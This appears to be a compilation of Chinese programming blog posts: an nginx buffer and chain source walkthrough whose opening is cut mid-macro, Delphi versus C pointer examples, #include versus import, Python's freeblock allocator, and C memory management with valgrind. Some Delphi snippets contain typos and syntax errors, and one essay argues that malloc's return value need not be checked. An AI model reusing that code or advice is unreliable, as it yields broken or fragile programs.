    ((b->flush || b->last_buf || b->sync)                                    \
     && !ngx_buf_in_memory(b) && !b->in_file)

#define ngx_buf_sync_only(b)                                                 \
    (b->sync                                                                 \
     && !ngx_buf_in_memory(b) && !b->in_file && !b->flush && !b->last_buf)

#define ngx_buf_size(b)                                                      \
    (ngx_buf_in_memory(b) ? (off_t) (b->last - b->pos):                      \
                        (b->file_last - b->file_pos))

#define ngx_alloc_buf(pool)  ngx_palloc(pool, sizeof(ngx_buf_t))

#define ngx_calloc_buf(pool) ngx_pcalloc(pool, sizeof(ngx_buf_t))
#define ngx_free_chain(pool, cl)                                             \
    cl->next = pool->chain;                                                  \

    pool->chain = cl

ngx_buf_t *ngx_create_temp_buf(ngx_pool_t *pool, size_t size);
ngx_chain_t *ngx_create_chain_of_bufs(ngx_pool_t *pool, ngx_bufs_t *bufs);
ngx_chain_t *ngx_alloc_chain_link(ngx_pool_t *pool);

ngx_buf_t *
ngx_create_temp_buf(ngx_pool_t *pool, size_t size)
{
    ngx_buf_t *b;

    b = ngx_calloc_buf(pool);
    if (b == NULL) {
        return NULL;
    }

    b->start = ngx_palloc(pool, size);
    if (b->start == NULL) {
        return NULL;
    }
    b->pos = b->start;
    b->last = b->start;
    b->end = b->last + size;
    b->temporary = 1;

    return b;

}


这段代码是表示怎样创建生成一个temp的buf，并且从代码中也可以看到一段buf的内存空间是怎样分配的，通过ngx_palloc这个函数来完成分配的，并且由于在初始创建buf结构体的时候使用的函数是ngx_calloc_buf，所以针对分配的内存实行了清零操作

ngx_chain_t *
ngx_alloc_chain_link(ngx_pool_t *pool)
{
    ngx_chain_t  *cl;

    cl = pool->chain;

    if (cl) {
        pool->chain = cl->next;
        return cl;
    }

    cl = ngx_palloc(pool, sizeof(ngx_chain_t));
    if (cl == NULL) {
        return NULL;
    }

    return cl;

}


而这段代码则是表明在nginx中，chain是通过pool来生成的，而且每次通过在pool的开头提取的方式来完成的

ngx_create_chain_of_bufs(ngx_pool_t *pool, ngx_bufs_t *bufs)
{
    u_char       *p;
    ngx_int_t     i;
    ngx_buf_t    *b;
    ngx_chain_t  *chain, *cl, **ll;

    p = ngx_palloc(pool, bufs->num * bufs->size);
    if (p == NULL) {
        return NULL;
    }

    ll = &chain;

    for (i = 0; i < bufs->num; i++) {

        b = ngx_calloc_buf(pool);
        if (b == NULL) {
            return NULL;
        }
        b->pos = p;
        b->last = p;
        b->temporary = 1;

        b->start = p;
        p += bufs->size;
        b->end = p;

        cl = ngx_alloc_chain_link(pool);
        if (cl == NULL) {
            return NULL;
        }

        cl->buf = b;
        *ll = cl;
        ll = &cl->next;
    }

    *ll = NULL;／／到最后将生成的ngx_chain_t的next指针指向NULL，表明整个链表生成完毕。

    return chain;

}


这段代码则表明了ngx_bufs_t类型是怎样运用的，利用num 和 size来创建一段缓冲区，该缓冲区用于表示ngx_chain_t中的所有的节点中的buf都是从该段缓冲区中分配出来的，但是所有的cl都是从pool中的chain中分配下来重新利用的或者是重新创建的（详细情况查看ngx_alloc_chain_link函数。

从这里我们可以看到nginx的内存分配管理其实本质上或者说基础的方法和手段是利用ngx_pool_t结构体。所以说下一步需要对这个nginx中重要的内存分配管理的部分进行查看和分析。
然后还存在多个针对ngx_buf_t类型的基本操作（其实应该说是针对ngx_chain_t类型的基本操作
ngx_chain_add_copy

ngx_int_t
ngx_chain_add_copy(ngx_pool_t *pool, ngx_chain_t **chain, ngx_chain_t *in)
{
    ngx_chain_t  *cl, **ll;

    ll = chain;
    /* 遍历chain，查找到chain的最后结尾 */
    for (cl = *chain; cl; cl = cl->next) {
        ll = &cl->next;

    }
    /* 遍历in，并且创建分配chain的基本节点，并将其buf指向in的部分 */
    while (in) {
        cl = ngx_alloc_chain_link(pool);
        if (cl == NULL) {
            return NGX_ERROR;
        }

        cl->buf = in->buf;
        *ll = cl;
        ll = &cl->next;
        in = in->next;
    }

    *ll = NULL;//最后将最后一个chain节点的next指向一个NULL指针

    return NGX_OK;

}


该函数是在现有的chain的基础上将一个链表“复制”连接到该chain后面，但是从操作中我们可以看到，这个过程虽然说是“复制”，但是针对buf中实际的内存的操作仅仅是将针对连接上罢了。

ngx_chain_t *
ngx_chain_get_free_buf(ngx_pool_t *p, ngx_chain_t **free)
{
    ngx_chain_t  *cl;

    if (*free) {
        cl = *free;
        *free = cl->next;
        cl->next = NULL;
        return cl;
    }

    cl = ngx_alloc_chain_link(p);
    if (cl == NULL) {
        return NULL;
    }

    cl->buf = ngx_calloc_buf(p);
    if (cl->buf == NULL) {
        return NULL;
    }

    cl->next = NULL;

    return cl;

}


这段代码从名字上来看是获得一个free的buf，实际上是从一个free的链表中获得一个chain节点或者是重新分配一个chain节点
nginx中的链表操作很多都是头链表操作，即如果需要添加链表元素的话通常都将该元素添加到头上

void
ngx_chain_update_chains(ngx_pool_t *p, ngx_chain_t **free, ngx_chain_t **busy,
    ngx_chain_t **out, ngx_buf_tag_t tag)
{
    ngx_chain_t  *cl;

    if (*busy == NULL) {
        *busy = *out;

    } else {
        for (cl = *busy; cl->next; cl = cl->next) { /* void */ }

        cl->next = *out;
    }

    *out = NULL;

    while (*busy) {
        cl = *busy;

        if (ngx_buf_size(cl->buf) != 0) {
            break;
        }

        if (cl->buf->tag != tag) {
            *busy = cl->next;
            ngx_free_chain(p, cl);
            continue;
        }

        cl->buf->pos = cl->buf->start;
        cl->buf->last = cl->buf->start;

        *busy = cl->next;
        cl->next = *free;
        *free = cl;
    }

}


需要处理的链表是out指针指向的链表，而free指向的应该就是当前存在的free链表，而busy链表则是当前存在的busy链表，该链表也是待处理的链表
所以开始的时候需要判断将out应该放到哪一个位置，如果busy当前就存在的话，那么就应该将out放置到busy的最后，如果当前busy链表不存在，那么处理就是
将其作为busy链表进行处理
而后面的操作则是说明从头对busy链表实行检查，如果busy链表中的buf还存在需要处理的内存空间，那么就需要停止处理，否则就将其置为空（即对last和pos进行处理）

ngx_chain_t *
ngx_chain_update_sent(ngx_chain_t *in, off_t sent)
{
    off_t  size;

    for ( /* void */ ; in; in = in->next) {

        if (ngx_buf_special(in->buf)) {
            continue;
        }

        if (sent == 0) {
            break;
        }

        size = ngx_buf_size(in->buf);

        if (sent >= size) {
            sent -= size;

            if (ngx_buf_in_memory(in->buf)) {
                in->buf->pos = in->buf->last;
            }

            if (in->buf->in_file) {
                in->buf->file_pos = in->buf->file_last;
            }

            continue;
        }

        if (ngx_buf_in_memory(in->buf)) {
            in->buf->pos += (size_t) sent;
        }

        if (in->buf->in_file) {
            in->buf->file_pos += sent;
        }

        break;
    }

    return in;

}


该函数处理的情况就更加的容易理解了，就是说当发送了sent字节之后需要对当前使用的缓冲区做处理，并返回当前仍未处理过的缓冲区指针。
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在学习Delphi的时候，一个很好的建议是和C/C++去类比着学习，从指针，到内存管理，到数组，到面向对象……各个方面，都是有很多可以相似和或者也有不同的方，类比着学习，一方面加深对Delphi的理解，一方面加深对C/C++的理解，一方面加深对计算机系统的理解，一方面加深对面向对象的理解……由1向多可以很方便的扩展，而且完全不冲突，完全是互相促进的过程。所以学习要有技巧！

大家都认为，C语言之所以强大，以及其自由性，很大部分体现在其灵活的指针运算上。因此，说指针是C语言的灵魂，一点都不为过。同时，这种说法也让很多人产生误解，似乎只有C语言的指针才能算指针。Basic不支持指针，在此不论。其实Pascal语言本身也是支持指针的。从最初的Pascal发展至现在的Object Pascal，可以说在指针运算上，丝毫不会逊色于C语言的指针

类型指针的定义

对于指向特定类型的指针，在C中是这样定义的

int * iPtr;
char *cPtr;


与之等价的Object Pascal是如何定义的呢？

var
    iPtr : ^Integer;
    cPtr : ^char;　　//注意 ^ 符号是放在类型的前面


其实也就是符号的差别而已

无类型指针的定义

C中有 void * 类型，也就是可以指向任何类型数据的指针。Object Pascal为其定义了一个专门的类型：Pointer。于是Delphi的

ptr : Pointer;


等价于C的

void *ptr;


指针的解除引用

要解除指针引用（即取出指针所指向区域的值），C的语法是

*ptr


而Object Pascal的语法是

ptr^　　//注意 ^ 符号是放在指针变量的后面


取地址（指针赋值）

取某对象的地址并且将其赋值给指针变量，C的语法是

int i = 4;
int *iPtr = &i;


而Object Pascal的语法是

i : Integer;
iPtr : ^Integer;
iPtr := @i;


也只是符号的差别而已

指针运算

在C中，可以对指针进行移动的运算，如

char a[20];
char *ptr = a;
ptr++;
ptr +=2;


当执行ptr++时候，编译器会产生让ptr前进sizeof(char)步长的代码，之后，ptr将指向a[1]。ptr+=2;这句使得ptr前进两个sizeof(char)大小的步长。同样，我们来看一下Object Pascal中如何实现

var
    a : array[1..20] of Char;　　//注意Delphi里面定义数组变量的这一种方法
    ptr : ^char;  
begin
    ptr := @a;　　//此处不同于C，C中数组名就是指针，
                 //而在Delphi中还需要使用取数组名地址的语法：@a
    Inc(ptr);    //这句等价于C的ptr++
    Inc(ptr, 2);    //这句等价于C的ptr+=2;
end;


动态内存分配

在C中，使用malloc()库函数分配内存，free()函数释放内存。如这样的代码：

int *ptr, *ptr2;
int i;
ptr = (int *)malloc(sizeof(int) * 20);
ptr2 = ptr;　　//因为后来可能要对ptr指针进行操作，为了保存分配的内存空间的地址，
              //所以要用新的指针 ptr2来记录分配的内存地址，保证后面可以在使用完
              //内存后进行free，而不会造成内存泄露
for(i=0; i<20; i++){
    *ptr = 1;
    ptr++;
}
free(ptr2);
ptr2 = NULL;


在Object pascal中，动态内存分配的函数是GetMem()，与之对应的释放函数是FreeMem()，（传统的Pascal中获取内存的函数是New()和Dispose()，但是New()只能获取对象的单个实体的内存大小，无法取得连续的存放多个对象的内存块）。因此，与上面那段的C代码等价的Object Pascal的代码是：

var
    ptr, ptr2 : ^Integer;
    i : Integer;
begin
    GetMem(ptr, sizeof(Integer)*20);
    //这句话等价于C的ptr = (int *)malloc(sizeof(int) * 20);
    ptr2 := ptr;    //保留原始指针的位置
    for i:=0 to 19 do
    begin
        ptr^ :=i;    //注意指针的解除引用的语法格式
        Inc(ptr);
    end;
    FreeMem(ptr2);
    ptr2:= nil;
end.


对于上面的例子（无论是C的还是Object Pascal的），都需要注意一个问题，就是分配内存的单位是字节（BYTE），因此在使用GetMem时候，其第二个参数如果想写成20，那么就会出问题（内存访问越界）。因为GetMem(ptr, 20);实际上只分配了20个字节的内存空间，而一个整型的大小是4字节，那么访问第5个之后的所有元素都是非法的了（对于malloc()参数也是一样）

字符数组的运算

C语言中，是没有字符串类型的，因此，字符串都是用字符数组实现的，于是也就有了一套str 开头的库函数用于进行字符数组的运算，如以下的代码

char str[15];
char *ptr;
strcpy(str, "teststr");
strcat(str, "_testok");
ptr = (char *)malloc(sizeof(char) * 15);
strcpy(ptr, str);
printf(ptr);
free(ptr);
ptr = NULL;


而在Object Pascal中，有了String类型，因此可以很方便的对字符串进行各种运算。但是，有时候我们的Pascal代码需要与C进行交互（比如：用Object Pascal的代码调用C写的DLL或者用Object Pascal写的DLL准备允许用C写客户端的代码）的话，就不能使用string类型了，而必须使用两种语言通用的字符数组。其实，Object Pascal提供了完全相似C的一整套字符数组的运算函数，以上的那段代码的Object Pascal的版本是

var
    str : array[1..15] of char;
    ptr : ^char;
begin
    StrCopy(@str, 'teststr');    //在C中，数组的名称可以直接作为数组的首地址指针用，
                                //但是在Delphi里面要注意，要在str前面加上取地址运算符
    StrCat(@str, '_testok';
    GetMem(ptr, sizeof(char) * 15);
    StrCopy(ptr, @str);
    Write(ptr);    
    FreeMem(ptr);
    ptr:= nil;
end;


函数指针

在动态调用DLL的函数时候，就会用到函数指针。假设用C写一段代码如下：

typedef int (*PVFN)(int);    //定义函数指针类型
int main(){
    HMODULE hModule = LoadLibrary("test.dll");
    PVFN pvfn = NULL;
    pvfn = (PVFN)GetProcAddress(hModule, "Function1");
    pvfn(2);    
    FreeLibrary(hModule);
}


C语言中定义函数指针的类型typedef代码的语法有些晦涩，而同样的代码在Object Pascal中却非常易懂

type
    PVFN = Function(para : Integer) : Integer;    //这里定义的PVFN是一个类型，而不是一个实例
var
    fn : PVFN;    //要使用PVFN类型的函数指针，就需要生成一个实例
    //或者可以直接定义 fn : function(para : Integer) : Integer;
    hm : HMOUDLE;
begin
    hm := LoadLibrary("test.dll");
    fn := GetProcAddress(hm, 'Function1');
    fn(2);
    FreeLibaray(hm);
end;


附加说明：

Delphi的指针功能非常强大，所有C中能够实现的指针Delphi都能实现，上面认为Delphi指针不是强项的只是一种误解（或者对指针的机制一知半解）

由于Pascal语言的限制，用Delphi的指针很多情况下需要强制类型转换，Delphi中提供了很多指针类型，而且非常方便的是你可以自定义自己的指针类型

一个经验是：要掌握一种数据类型并且熟练灵活应用，一个比较好的办法是别考虑什么类型是什么名字，而只需要考虑这种类型的变量将占用多少字节。凡是字节数亩相同的数据类型都可以认为是同一种类型，提供不同的类型只是为了编译器能够更方便的查找错误而已，比如：Integer、Pointer、PChar、TSmallPoint甚至是attay[0..3] of char你都可以把他们当成是同一类型加以使用（有了这种思路，可以实现很大的程序灵活性的代码高效性）


 当我#include或import的时候，我到底干了什么？

作者：wangdai

来源： 当我#include或import的时候，我到底干了什么？



                    
C语言中的#include


学习C语言的时候，大家都写过这么一个hello world


#include <stdio.h>
int main()
{
    printf("hello, world");
    return 0;
}



但如果没有第一句#include <stdio.h>，编译是通不过的

因为printf这个函数没有被声明，因为C语言要求，函数必须先声明再调用


事实上，#include <stdio.h>所做的仅仅是把stdio.h这个文件给包括进来了，就像你找到stdio.h文件，并把所有内容复制到main函数的前面，效果是完全一样的。


stdio.h包括的是对C语言标准库中一系列函数的声明（当然也有printf的），通常它在你的编译器安装位置的include目录下。编译器是会默认的去这个目录寻找你include的文件的。


所以，#include <stdio.h>之后，程序就能编译通过了。而printf的实现在C语言标准库libc.a中，标准库的实现是会被编译器自动链接进你的程序的。


知道了原理，我们有另一种方式去成功的调用printf函数，那就是自己声明它。


int printf(const char *format, ...);
int main()
{
    printf("hello, world");
    return 0;
}



相信我，这个程序也是能编译成功而且输出正确结果的，因为第一句话和#include <stdio.h>的目的是一样的，只不过是仅仅声明了其中一个函数而已。


Java中的import


如果你以为import跟#include一样是把整个文件包含进来，那就错了。事实上，import的作用是在写程序的时候，不用把类或者变量的长长的全名打出来。


说到这里，不得不说一下Java组织源代码的方式。

Java的每个public的类都是一个文件，它位于某个package之中，而package则是许多文件夹构成的一个路径。


如下图，假设我的Java工程的源代码都在src文件夹下，cc.chenjr.mypackage就是一个package（注意它实际上就是文件夹），MyClass是这个package下的一个类。


src
└── cc
    └── chenjr
        └── mypackage
            └── MyClass.java



为了避免与其他package下的MyClass类混淆，它有一个全名是cc.chenjr.mypackage.MyClass。比如System的全名是java.lang.System。我们不用去import java.lang.System是因为编译器帮我们做了这件事。


那在别的文件中要用cc.chenjr.mypackage.MyClass的时候，打全名实在太麻烦，所以我们就告诉编译器，我这个文件里的MyClass就是cc.chenjr.mypackage.MyClass而不是其他的MyClass。这就是import的作用了。


同样，每个.java文件的第一句package cc.chenjr.mypackage;是告诉编译器，我这个类是在这个package下面的。如果这个类的文件被移动到别的文件夹下，是编译不了的。


当然，如果我们非要用到两个MyClass，其中有一个就不得不打全名了，比如这样，假设我自己有和Java库中名字冲突的类并import了它们，我想用Java的标准库的类就只能打全名了。


package cc.chenjr.mypackage;
import cc.chenjr.mypackage.List;
import cc.chenjr.mypackage.ArrayList;

public class Test {
    public static void main(String[] args) {
        java.util.List list = new java.util.ArrayList();
    }
}



 python 源码笔记 ---- freeblock

作者：oyjh1986

来源： python 源码笔记 ---- freeblock



                    
1 引言


在python内存管理中，有一个block的概念。它比较类似于SGI次级空间配置器。

  首先申请一块大的空间(4KB)，然后把它切割成一小份（8， 16 一直到512）。

  当有内存申请的请求时候，简单的流程是：根据大小找到对应的block，然后在freeblock 上给它一份。

  
  2 问题



整个过程是一种比较自然的slab分配方式。但当我读到这段代码时，却感到疑惑：


static void* _PyObject_Malloc(void* ctx, size_t nbytes)
{
        ...
    pool->freeblock = (block*)pool +  pool->nextoffset;

        pool->nextoffset += INDEX2SIZE(size);
        *(block **)(pool->freeblock) = NULL; // [1]
        ...
}



freeblock指向空闲的链表，为它赋值很好理解。但是为什么要加上代码1处那一句！

对C比较熟悉的童鞋很容易能看出它的作用，它在为*freeblock赋值为NULL。


但是为什么要这么做？

直到看到内存回收的代码：


static void _PyObject_Free(void* ctx, void*p)
{
    ...
    *(block**)p = lastfree = pool->freeblock;
    pool->freeblock = (block*)p;
    ...
}



回想一下SGI次级空间配置，它需要一个链表，指向block中可用的小块。因为这些快，是离散的，只有用指针才能索引它。

在SGI次级空间配置中，是用一个union，达到了节省空间的目的：有数据时，它存储着真正的数据；没有数据时，它就变成指向下一块可用内存的指针：


union __Obj {
    union __Obj* free_list_link;
    char client_data[];
};



这样一想，问题就变得很明显了。freeblock指向一个链表，链表的next域就由它自己来索引。

在_PyObject_Free中，内存p是要被回收的，它应该插在freeblock的链表头，freeblock被更新指向它。同时，p指向原来freeblock指向的内容，这是一个很简单的链表插入操作。

这样在遍历的时候，我们就可以用freeblock = * freeblock的方式来工作了。

如下图所示:





 C 指针有害健康

作者：garfileo

来源： C 指针有害健康



                    
每一盒香烟的包装上都会写『吸烟有害健康』。白酒瓶上也写了『过度饮酒,有害健康』。本文的外包装上写的则是『阅读有害健康』，特别是『甩掉强迫症』那一节，它适合我自己阅读，但不一定适合你。

黑暗的内存

很多人对 C 语言深恶痛绝，仅仅是因为 C 语言迫使他们在编程中必须手动分配与释放内存，然后通过指针去访问，稍有不慎可能就会导致程序运行运行时出现内存泄漏或内存越界访问。

C 程序的内存泄漏只会发生在程序所用的堆空间内，因为程序只能在堆空间内动态分配内存。NULL 指针、未初始化的指针以及引用的内存空间被释放了的指针，如果这些指针访问内存，很容易就让程序挂掉。

除了堆空间，程序还有个一般而言比较小的栈空间。这个空间是所有的函数共享的，每个函数在运行时会独占这个空间。栈空间的大小是固定的，它是留给函数的参数与局部变量用的。栈空间有点像宾馆，你下榻后，即使将房间搞的一团糟，也不需要你去收拾它，除非你把房间很严重的损坏了——用 C 的黑话来说，即缓冲区溢出。

虽然导致这些问题出现的原因很简单，但是却成为缺乏编程素养的人难以克服的障碍，被 C 语言吓哭很多次之后，他们叛逃到了 Java、C# 以及各种动态类型语言的阵营，因为这些语言将指针隐藏了起来，并提供内存垃圾回收（GC）功能。他们赢了，他们懒洋洋的躺在沙发上，拿着遥控器指挥内存，信号偶尔中断，内存偶尔紊乱。

C 内存的动态分配与回收

C 语言标准库（stdlib）中为堆空间中的内存分配与回收提供了 malloc 与 free 函数。例如，在下面的代码中，我们从堆空间中分配了 7 个字节大小的空间，然后又释放了：

#include <stdlib.h>

void *p = malloc(7);
free(p);

一点都不难！跟你去学校图书馆借了 7 本书，然后又还回去没什么两样。有借有还，再借不难，过期不还，就要罚款。有谁因为去图书馆借几本书就被吓哭了的？

我们也可以向堆空间借点地方存储某种类型的数据：

int *n = malloc(4);
*n = 7;
free(n);

如果你不知道 int 类型的数据需要多大的空间才能装下，那就用 sizeof，让 C 编译器去帮助你计算，即：

int *n = malloc(sizeof(int));
*n = 7;
free(n);

策略与机制分离

在 C 语言中有关内存管理的机制已经简单到了几乎无法再简单的程度了，那么为何那么多人都在嘲笑讥讽挖苦痛骂诅咒 C 的内存管理呢？

如果你略微懂得一些来自 Unix 的哲学，可能听说过这么一句话：策略与机制分离。如果没听说过这句话，建议阅读 Eric Raymond 写的《Unix 编程艺术》第一章中的 Unix 哲学部分。

malloc 与 free 是 C 提供的内存管理机制，至于你怎么去使用这个机制，那与 C 没有直接关系。例如，你可以手动使用 malloc 与 free 来管理内存——最简单的策略，你也可以实现一种略微复杂一点的基于引用计数的内存管理策略，还可以基于 Lisp 之父 John McCarthy 独创的 Mark&Sweep 算法实现一种保守的内存自动回收策略，还可以将引用计数与 Mark&Sweep 这两种策略结合起来实现内存自动回收。总之，这些策略都可以在 C 的内存管理机制上实现。

借助 Boehm GC 库，就可以在 C 程序中实现垃圾内存的自动回收：

#include <assert.h>
#include <stdio.h>
#include <gc.h>

int main(void)
{
    GC_INIT();
    for (int i = 0; i < 10000000; ++i)
    {
        int **p = GC_MALLOC(sizeof(int *));
        int *q = GC_MALLOC_ATOMIC(sizeof(int));

        assert(*p == 0);
        *p = GC_REALLOC(q, 2 * sizeof(int));
        if (i % 100000 == 0)
            printf("Heap size = %zu\n", GC_get_heap_size());
    }

    return 0;
}

在 C 程序中使用 Boehm GC 库，只需用 GC_MALLOC 或 C_MALLOC_ATOMIC 替换 malloc，然后去掉所有的 free 语句。C_MALLOC_ATOMIC 用于分配不会用于存储指针数据的堆空间。



如果你的系统（Linux）中安装了 boehm-gc 库（很微型，刚 100 多 Kb），可以用 gcc 编译这个程序然后运行一次体验一下，编译命令如下：

$ gcc -lgc test-gc.c

GNU 的 Scheme 解释器 Guile 2.0 就是用的 boehm-gc 来实现内存回收的。有很多项目在用 boehm-gc，只不过很少有人听说过它们，见：http://www.hboehm.info/gc/#users

如果 C 语言直接提供了某种内存管理策略，无论是提供引用计数还是 Mark&Sweep 抑或这二者的结合体，那么都是在剥夺其他策略生存的机会。例如，在 Java、C# 以及动态类型语言中，你很难再实现一种新的内存管理策略了——例如手动分配与释放这种策略。

Eric Raymond 说，将策略与机制揉在一起会导致有两个问题，(1) 策略会变得死板，难以适应用户需求的改变；(2) 任何策略的改变都极有可能动摇机制。相反，如果将二者剥离，就可以在探索新策略的时候不会破坏机制，并且还检验了机制的稳定性与有效性。

Unix 的哲学与 C 有何相干？不仅是有何相干，而且是息息相关！因为 C 与 Unix 是鸡生蛋 & 蛋生鸡的关系——Unix 是用 C 语言开发的，而 C 语言在 Unix 的开发过程中逐渐成熟。C 语言只提供机制，不提供策略，也正因为如此才招致了那些贪心的人的鄙薄。

这么多年来，像 C 语言提供的这种 malloc + free 的内存管理机制一直都没有什么变化，而计算机科学家们提出的内存管理策略在数量上可能会非常惊人。像 C++ 11 的智能指针与 Java 的 GC 技术，如果从研究的角度来看，可能它们已经属于陈旧的内存回收策略了。因为它们的缺点早就暴露了出来，相应的改进方案肯定不止一种被提了出来，而且其中肯定会有一些策略是基于概率算法的……那些孜孜不倦到处寻找问题的计算机科学家们，怎能错过这种可以打怪升级赚经费的好机会？

总之，C 已经提供了健全的内存管理机制，它并没有限制你使用它实现一种新的内存管理策略。

手动管理内存的常见陷阱

在编写 C 程序时，手动管理内存只有一个基本原则是：谁需要，谁分配；谁最后使用，谁负责释放。这里的『谁』，指的是函数。也就是说，我们有义务全程跟踪某块被分配的堆空间的生命周期，稍有疏忽可能就会导致内存泄漏或内存被重复释放等问题。

那些在函数内部作为局部变量使用的堆空间比较容易管理，只要在函数结尾部分稍微留心将其释放即可。一个函数写完后，首先检查一下所分配的堆空间是否被正确释放，这个习惯很好养成。这种简单的事其实根本不用劳烦那些复杂的内存回收策略。

C 程序内存管理的复杂之处在于在某个函数中分配的堆空间可能会一路辗转穿过七八个函数，最后又忘记将其释放，或者本来是希望在第 7 个函数中访问这块堆空间的，结果却在第 3 个函数中将其释放了。尽管这样的场景一般不会出现（根据快递公司丢包的概率，这种堆空间传递失误的概率大概有 0.001），但是一旦出现，就够你抓狂一回的了。没什么好方法，惟有提高自身修养，例如对于在函数中走的太远的堆空间，一定要警惕，并且思考是不是设计思路有问题，寻找缩短堆空间传播路径的有效方法。

堆空间数据在多个函数中传递，这种情况往往出现于面向对象编程范式。例如在 C++ 程序中，对象会作为一种穿着隐行衣的数据——this 指针的方式穿过对象的所有方法（类的成员函数），像穿糖葫芦一样。不过，由于 C++ 类专门为对象生命终结专门设立了析构函数，只要这个析构函数没被触发，那么这个对象在穿过它的方法时，一般不会出问题。因为 this 指针是隐藏的，也没人会神经错乱在对象的某个方法中去 delete this。真正的陷阱往往出现在类的继承上。任何一个训练有素的 C++ 编程者都懂得什么时候动用虚析构函数，否则就会陷入用 delete 去释放引用了派生类对象的基类指针所导致的内存泄漏陷阱之中。

在面向对象编程范式中，还会出现对象之间彼此引用的现象。例如，如果对象 A 引用了对象 B，而对象 B 又引用了对象 A。如果这两个对象的析构函数都试图将各自所引用对象销毁，那么程序就会直接崩溃了。如果只是两个相邻的对象的相互引用，这也不难解决，但是如果 A 引用了 B，B 引用了 C， C 引用了 D， D 引用了 B 和 E，E 引用了 A……然后你可能就凌乱了。如果是基于引用计数来实现内存自动回收，遇到这种对象之间相互引用的情况，虽然那程序不会崩溃，但是会出现内存泄漏，除非借助弱引用来打破这种这种引用循环，本质上这只是变相的谁最后使用，谁负责释放。

函数式编程范式中，内存泄漏问题依然很容易出现，特别是在递归函数中，通常需要借助一种很别扭的思维将递归函数弄成尾递归形式才能解决这种问题。另外，惰性计算也可能会导致内存泄漏。

似乎并没有任何一种编程语言能够真正完美的解决内存泄漏问题——有人说 Rust 能解决，我不是很相信，但是显而易见，程序在设计上越低劣，就越容易导致内存错误。似乎只有通过大量实践，亡羊补牢，塞翁失马，卧薪尝胆，破釜沉舟，久而久之，等你三观正常了，不焦不躁了，明心见性了，内存错误这种癌症就会自动从你的 C 代码中消失了——好的设计品味，自然就是内存友好的。当我们达到这种境界时，可能就不会再介意在 C 中手动管理内存。

让 Valgrind 帮你养成 C 内存管理的好习惯

Linux 环境中有一个专门用于 C 程序内存错误检测工具——valgrind，其他操作系统上应该也有类似的工具。valgrind 能够发现程序中大部分内存错误——程序中使用了未初始化的内存，使用了已释放的内存，内存越界访问、内存覆盖以及内存泄漏等错误。

看下面这个来自『The Valgrind Quick Start Guide』的小例子：

#include <stdlib.h>

void f(void)
{
        int* x = malloc(10 * sizeof(int));
        x[10] = 0;
}

int main(void)
{
        f();
        return 0;
}

不难发现，在 f 函数中即存在这内存泄漏，又存在着内存越界访问。假设这份代码保存在 valgrind-demo.c 文件中，然后使用 gcc 编译它：

$ gcc -g -O0 valgrind-demo.c -o valgrind-demo

为了让 valgrind 能够更准确的给出程序内存错误信息，建议打开编译器的调试选项 -g，并且禁止代码优化，即 -O0。

然后用 valgrind 检查 valgrind-demo 程序：

$ valgrind --leak-check=yes ./valgrind-demo

结果 valgrind 输出以下信息：

==10000== Memcheck, a memory error detector
==10000== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==10000== Using Valgrind-3.11.0 and LibVEX; rerun with -h for copyright info
==10000== Command: ./valgrind-demo
==10000== 
==10000== Invalid write of size 4
==10000==    at 0x400574: f (valgrind-demo.c:6)
==10000==    by 0x400585: main (valgrind-demo.c:11)
==10000==  Address 0x51d3068 is 0 bytes after a block of size 40 alloc'd
==10000==    at 0x4C29FE0: malloc (in /usr/lib64/valgrind/vgpreload_memcheck-amd64-linux.so)
==10000==    by 0x400567: f (valgrind-demo.c:5)
==10000==    by 0x400585: main (valgrind-demo.c:11)
==10000== 
==10000== 
==10000== HEAP SUMMARY:
==10000==     in use at exit: 40 bytes in 1 blocks
==10000==   total heap usage: 1 allocs, 0 frees, 40 bytes allocated
==10000== 
==10000== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==10000==    at 0x4C29FE0: malloc (in /usr/lib64/valgrind/vgpreload_memcheck-amd64-linux.so)
==10000==    by 0x400567: f (valgrind-demo.c:5)
==10000==    by 0x400585: main (valgrind-demo.c:11)
==10000== 
==10000== LEAK SUMMARY:
==10000==    definitely lost: 40 bytes in 1 blocks
==10000==    indirectly lost: 0 bytes in 0 blocks
==10000==      possibly lost: 0 bytes in 0 blocks
==10000==    still reachable: 0 bytes in 0 blocks
==10000==         suppressed: 0 bytes in 0 blocks
==10000== 
==10000== For counts of detected and suppressed errors, rerun with: -v
==10000== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)

valgrind 首先检测出在 valgrind-demo 程序中存在一处内存越界访问错误，即：

==10000== Invalid write of size 4
==10000==    at 0x400574: f (valgrind-demo.c:6)
==10000==    by 0x400585: main (valgrind-demo.c:11)
==10000==  Address 0x51d3068 is 0 bytes after a block of size 40 alloc'd
==10000==    at 0x4C29FE0: malloc (in /usr/lib64/valgrind/vgpreload_memcheck-amd64-linux.so)
==10000==    by 0x400567: f (valgrind-demo.c:5)
==10000==    by 0x400585: main (valgrind-demo.c:11)

然后 valgrind 又发现在 valgrind-demo 程序中存在 40 字节的内存泄漏，即：

10000== 40 bytes in 1 blocks are definitely lost in loss record 1 of 1
==10000==    at 0x4C29FE0: malloc (in /usr/lib64/valgrind/vgpreload_memcheck-amd64-linux.so)
==10000==    by 0x400567: f (valgrind-demo.c:5)
==10000==    by 0x400585: main (valgrind-demo.c:11)

由于我们在编译时开启了调试选项，所以 valgrind 也能告诉我们内存错误发生在具体哪一行源代码中。

除了可用于程序内存错误的检测之外，valgrind 也具有函数调用关系跟踪、程序缓冲区检查、多线程竞争检测等功能，但是无论 valgrind 有多么强大，你要做的是逐渐的摆脱它，永远也不要将自己的代码建立在『反正 valgrind 能帮我检查错误』这样的基础上。

甩掉强迫症

选择用 C 语言来写程序，这已经让我们牺牲了很多东西——项目进度、漂亮的桌面程序、炙手可热的网站前端……如果你再为 C 语言的一些『脆弱』之处患上强迫症，这样的人生太过于悲催。用 C 语言，就要对自己好一点。

负责分配内存的 malloc 函数可能会遇到内存分配失败的情况，这时它会返回 NULL。于是，问题就来了，是否需要在程序中检测 malloc 的返回值是否为 NULL？我觉得没必要检测，只需记住 malloc 可能会返回 NULL 这一事实即可。如果一个程序连内存空间都无法分配了，那么它还有什么再继续运行的必要？有时，可能会因为系统中进程存在内存泄漏，导致你的程序无法分配内存，这时你使用 malloc 返回的 NULL 指针来访问内存，会出现地址越界错误，这种错误很容易定位，并且由于你知道  malloc 可能会返回 NULL 这一事实，也很容易确定错误的原因，实在不济，还有 valgrind。

如果确实有对 malloc 返回值进行检查的必要，例如本文评论中 @依云 所说的那些情况，可以考虑这样做：

#include <stdio.h>
#include <stdlib.h>

